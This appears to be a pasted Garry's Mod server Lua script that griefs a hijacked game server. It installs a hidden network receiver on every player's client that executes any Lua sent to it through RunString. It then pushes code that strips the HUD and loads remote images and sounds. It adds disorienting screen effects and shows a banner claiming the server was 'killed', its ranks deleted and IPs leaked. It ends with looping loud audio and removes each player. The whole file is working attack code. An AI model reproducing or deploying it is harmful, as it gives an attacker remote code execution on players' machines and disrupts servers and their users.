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May 27th, 2018
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  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "https://instaud.io/_/1QOM.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://cdn.discordapp.com/attachments/432034982664601607/450029285911298058/giphy_3.gif", "hud2", 236, 238 )
  100. LoadWebMaterial( "https://cdn.discordapp.com/attachments/432034982664601607/449737423765766154/FHLoNtn.png", "doritos", 236, 238 )
  101. LoadWebMaterial( "https://cdn.discordapp.com/attachments/432034982664601607/449736845996195841/923584721d2d6df55d78266045c9e5986d5524e8_hq.jpg", "fedora", 236, 238 )
  102. LoadWebMaterial( "https://cdn.discordapp.com/attachments/432034982664601607/449734978067234827/giphy_1.gif", "dew", 236, 238 )
  103. LoadWebMaterial( "https://cdn.discordapp.com/attachments/432034982664601607/449733608538767360/giphy.gif", "awp", 236, 238 )
  104. ]=]):format(lol.m_strImageLoadHTML) )
  105. end )
  106.  
  107. --HUD swap
  108. lol:PushAction( 3, function( pPlayer )
  109. lol:SendLua( pPlayer, [[
  110. (GAMEMODE or GM).CalcView = function() end
  111. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  112.  
  113. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  114. for k, v in pairs(remove) do
  115. hook.GetTable()[v] = {}
  116. end
  117.  
  118. local function GetWebMat( strURL )
  119. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  120. end
  121.  
  122. hook.Add( "HUDPaint", "newhud", function()
  123. surface.SetDrawColor( 255, 255, 255, 255 )
  124.  
  125. if GetWebMat( "hud1" ) then
  126. surface.SetMaterial( GetWebMat("hud1")[1] )
  127. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  128. end
  129. if GetWebMat( "hud2" ) then
  130. surface.SetMaterial( GetWebMat("hud2")[1] )
  131. surface.DrawTexturedRect( ScrW() , ScrH() -200, 300 *(812 /600), 128 )
  132. end
  133. if GetWebMat( "hud3" ) then
  134. surface.SetMaterial( GetWebMat("hud3")[1] )
  135. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  136. end
  137. if GetWebMat( "doritos" ) then
  138. surface.SetMaterial( GetWebMat("doritos")[1] )
  139. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  140. end
  141. if GetWebMat( "dew" ) then
  142. surface.SetMaterial( GetWebMat("dew")[1] )
  143. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  144. end
  145. if GetWebMat( "fedora" ) then
  146. surface.SetMaterial( GetWebMat("fedora")[1] )
  147. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  148. end
  149. if GetWebMat( "awp" ) then
  150. surface.SetMaterial( GetWebMat("awp")[1] )
  151. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  152. end
  153.  
  154. draw.SimpleTextOutlined(
  155. "SERVER KILLED BY EXCOY'S SQUAD | POWERED BY INFAMOUS",
  156. "DermaLarge",
  157. ScrW() /2 +math.random( -8, 8 ),
  158. ScrH() /2 +math.random( -8, 8 ) +64,
  159. Color( 255, 0, 0, 255 ),
  160. TEXT_ALIGN_CENTER,
  161. TEXT_ALIGN_CENTER,
  162. 1,
  163. Color( 0, 0, 255, 255 )
  164. )
  165.  
  166. draw.SimpleTextOutlined(
  167. "ALL ULX RANKS ARE DELETED, SERVER CONSOLED IS SPAMMED, IPs LEAKED",
  168. "DermaLarge",
  169. ScrW() /2 +math.random( -8, 8 ),
  170. ScrH() /2 +math.random( -8, 8 ) +24,
  171. Color( 255, 0, 0, 255 ),
  172. TEXT_ALIGN_CENTER,
  173. TEXT_ALIGN_CENTER,
  174. 1,
  175. Color( 0, 255, 0, 255 )
  176. )
  177. end )
  178.  
  179. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  180. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  181.  
  182. surface.PlaySound( "garrysmod/save_load4.wav" )
  183. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  184. ]] )
  185. end )
  186.  
  187. --Disco time
  188. lol:PushAction( 10.5, function( pPlayer )
  189. local idx = pPlayer:EntIndex()
  190. timer.Create( "beat".. idx, 0.42, 0, function()
  191. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  192. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  193. end )
  194.  
  195.  
  196. lol:SendLua( pPlayer, [[
  197. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  198. local time = 0
  199.  
  200. hook.Add( "Think", "wat", function()
  201. if CurTime() < time then
  202. return
  203. end
  204.  
  205. time = CurTime() +0.05
  206. for i = 1, 16 do
  207. local part = emitter:Add(
  208. "particles/balloon_bit",
  209. LocalPlayer():GetPos() +Vector(
  210. math.random( -256, 256 ),
  211. math.random( -256, 256 ),
  212. 256
  213. )
  214. )
  215.  
  216. if part then
  217. local Size = math.random( 4, 7 )
  218.  
  219. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  220. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  221. part:SetDieTime( 4.5 )
  222. part:SetGravity( Vector(40, 0, -250) )
  223. part:SetLifeTime( 0 )
  224. part:SetStartSize( Size /2 )
  225. part:SetEndSize( Size )
  226. part:SetCollide( true )
  227. end
  228. end
  229. end )
  230. ]] )
  231.  
  232. lol:SendLua( pPlayer, [[
  233. hook.Add( "RenderScreenspaceEffects", "wat", function()
  234. local sinScaler = math.sin( CurTime() )
  235. DrawBloom(
  236. 0,
  237. 3,
  238. sinScaler *math.Rand(1, 8),
  239. sinScaler *math.Rand(1, 8),
  240. 6,
  241. math.Rand(0.5, 2),
  242. math.Rand(0, 0.3),
  243. math.Rand(0, 0.3),
  244. math.Rand(0.5, 1)
  245. )
  246.  
  247. DrawColorModify{
  248. ["$pp_colour_addr"] = 0,
  249. ["$pp_colour_addg"] = 0,
  250. ["$pp_colour_addb"] = 00,
  251. ["$pp_colour_brightness" ] = 0,
  252. ["$pp_colour_contrast" ] = 1,
  253. ["$pp_colour_colour" ] = 1,
  254. ["$pp_colour_mulr" ] = 0,
  255. ["$pp_colour_mulg" ] = 0,
  256. ["$pp_colour_mulb" ] = 1
  257. }
  258. end )
  259.  
  260. local mdl = ClientsideModel( "models/player/zombie_classic.mdl", RENDERGROUP_BOTH )
  261. mdl:SetNoDraw( true )
  262. local posCache, time = {}, 0
  263.  
  264. hook.Add( "HUDPaint", "dance", function()
  265. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  266. local idx = mdl:LookupSequence("taunt_dance")
  267. mdl.SeqDuration = mdl:SequenceDuration( idx )
  268. mdl.SeqStart = CurTime()
  269. mdl:ResetSequence( idx )
  270. end
  271.  
  272. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  273.  
  274.  
  275. local w, h = 300, 300
  276. local ang = Angle( 0, 0, 0 )
  277.  
  278. for i = 1, 32 do
  279. if CurTime() > time then
  280. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  281. end
  282. local x, y = posCache[i][1], posCache[i][2]
  283.  
  284. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  285. cam.IgnoreZ( true )
  286. render.SuppressEngineLighting( true )
  287.  
  288. render.SetLightingOrigin( mdl:GetPos() )
  289. render.ResetModelLighting( 1, 1, 1 )
  290. render.SetColorModulation( 0, 0, 1 )
  291.  
  292. mdl:DrawModel()
  293.  
  294. render.SuppressEngineLighting( false )
  295. cam.IgnoreZ( false )
  296. cam.End3D()
  297. end
  298.  
  299. if CurTime() > time then
  300. time = CurTime() +0.15
  301. end
  302. end )
  303.  
  304. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  305. ]] )
  306. end )
  307.  
  308. --Let the beat drop
  309. lol:PushAction( 25.5, function( pPlayer )
  310. lol:SendLua( pPlayer, [[
  311. hook.Add( "GetMotionBlurValues", "wat", function()
  312. return 0, 0, 1, math.sin(CurTime() *13)
  313. end )
  314.  
  315. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  316. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  317. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  318. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  319. end )
  320.  
  321. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  322. render.SetMaterial( Material("cable/blue_elec") )
  323. for i = 1, 32 do
  324. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  325. end
  326. end )
  327.  
  328. timer.Create( "thedrop", 0.42, 0, function()
  329. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  330. end )
  331. ]] )
  332. end )
  333.  
  334. --EVIL TIME rip headpones
  335. lol:PushAction( 175, function( pPlayer )
  336. lol:SendLua( pPlayer, [[
  337. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  338.  
  339. local sounds = {}
  340. for i = 1, 4 do
  341. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  342. sounds[#sounds +1] = pChan
  343. end )
  344. end
  345.  
  346. timer.Create( "asdf", 1, 0, function()
  347. if #sounds ~= 4 then return end
  348. timer.Destroy( "asdf" )
  349. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  350. end )
  351.  
  352. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  353. ]] )
  354.  
  355. pPlayer:Remove()
  356. end )
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